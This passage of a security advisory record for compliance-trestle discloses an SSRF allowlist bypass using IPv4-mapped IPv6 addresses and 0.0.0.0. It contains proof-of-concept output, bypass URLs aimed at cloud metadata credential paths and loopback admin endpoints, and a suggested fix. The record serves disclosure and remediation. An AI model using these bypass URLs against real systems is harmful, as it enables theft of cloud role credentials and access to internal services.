f\"https://[::ffff:127.0.0.1]:{PORT}/admin\", True)\nattempt(\"BYPASS-4: IPv4-mapped IPv6 RFC 1918\", f\"https://[::ffff:10.0.0.1]:{PORT}/admin\", True)\nsrv.shutdown()\nPY\n\n# 3. Run\n./venv/bin/python e2e_full.py\n```\n\nObserved output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is \u003e= 3.12.4, so CPython CVE-2024-4032\u0027s `is_global`/`is_private` reclassification IS active here; the bypass nevertheless works because this validator uses `IPv6Address in IPv4Network(...)` membership (which silently returns False for cross-version comparison), NOT the `is_global` predicate. The mechanism is therefore robust to CPython version:\n\n```\nPython: 3.12.13\ncompliance-trestle: 4.0.3\n  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n\n[NEG-1: literal 169.254.169.254]\n  URL: https://169.254.169.254:18560/latest/meta-data/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)\n\n[NEG-2: literal 127.0.0.1]\n  URL: https://127.0.0.1:18560/admin\n  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)\n\n[NEG-3: metadata.google.internal]\n  URL: https://metadata.google.internal:18560/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)\n\n[NEG-4: literal 10.0.0.1 RFC1918]\n  URL: https://10.0.0.1:18560/admin\n  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)\n\n[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]\n  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: TimeoutError: timed out\n\n[BYPASS-2: 0.0.0.0 reaches localhost]\n  URL: https://0.0.0.0:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-3: IPv4-mapped IPv6 loopback]\n  URL: https://[::ffff:127.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-4: IPv4-mapped IPv6 RFC 1918]\n  URL: https://[::ffff:10.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: RemoteDisconnected: Remote end closed connection without response\n```\n\n(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of `is_global`-independence: even with CPython\u0027s CVE-2024-4032 fix active (`is_global=False`, `is_private=True`), the validator\u0027s `in IPv4Network(...)` membership check still returns `False`, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/`::`, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)\n\nNegative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass `URLSecurityValidator.validate_url()` on the latest patched release.\n\n### Impact\n\n- SSRF to AWS / Azure / GCP / Alibaba IMDS via `https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u003crole\u003e` -\u003e short-lived role credentials exfiltrated through the cached fetch.\n- SSRF to loopback administrative interfaces via `https://0.0.0.0:PORT/` or `https://[::ffff:127.0.0.1]:PORT/` -\u003e access to local-only admin endpoints (Docker socket on `unix://`, Prometheus, etcd, Kubelet) that the validator was supposed to deny.\n- SSRF to RFC 1918 internal services via `https://[::ffff:10.0.0.1]/...` even when `TRESTLE_BLOCK_PRIVATE_IPS=true` is explicitly set, defeating the operator\u0027s defense-in-depth posture.\n- The cache-write traversal protection (`PathSecurityValidator.validate_url_path_for_cache` + `validate_cache_path`) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.\n\n### Suggested fix\n\nNormalize every resolved IP to its canonical IPv4 form before membership checks, and add `0.0.0.0` to the always-blocked set. Diff sketch against `trestle/core/remote/security.py`:\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027::1/128\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n    ipaddress.ip_network(\u0027fe80::/10\u0027),\n    ipaddress.ip_network(\u00270.0.0.0/8\u0027),     # IPv4 \"this network\", reaches localhost on Linux\n    ipaddress.ip_network(\u0027::/128\u0027),        # IPv6 unspecified\n]\n\ndef _canonicalize_ip(self, ip_addr):\n    \"\"\"Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.\"\"\"\n    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:\n        return ip_addr.ipv4_mapped\n    return ip_addr\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr.version == network.version and ip_addr in network:\n            raise TrestleError(...)\n\ndef _check_private_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    # ... same canonicalization before block_private_ip / warn_private_ip\n```\n\nAlso add the canonicalized literal to `_check_metadata_endpoints`:\n\n```python\ndef _check_metadata_endpoints(self, hostname):\n    # Canonicalize bracketed IPv6 literal hostnames before exact-match\n    canonical = hostname.strip(\u0027[]\u0027)\n    try:\n        canonical_ip = ipaddress.ip_address(canonical)\n        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:\n            canonical = str(canonical_ip.ipv4_mapped)\n    except ValueError:\n        pass\n    if canonical in METADATA_HOSTNAMES:\n        raise TrestleError(...)\n```\n\nThis mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node `undici` SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "PYSEC-2026-3659",
  "modified": "2026-08-19T12:16:20.807034Z",
  "published": "2026-08-19T11:56:25.978594Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/compliance-trestle"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-h47f-gmjp-m7rr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52776"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0"
}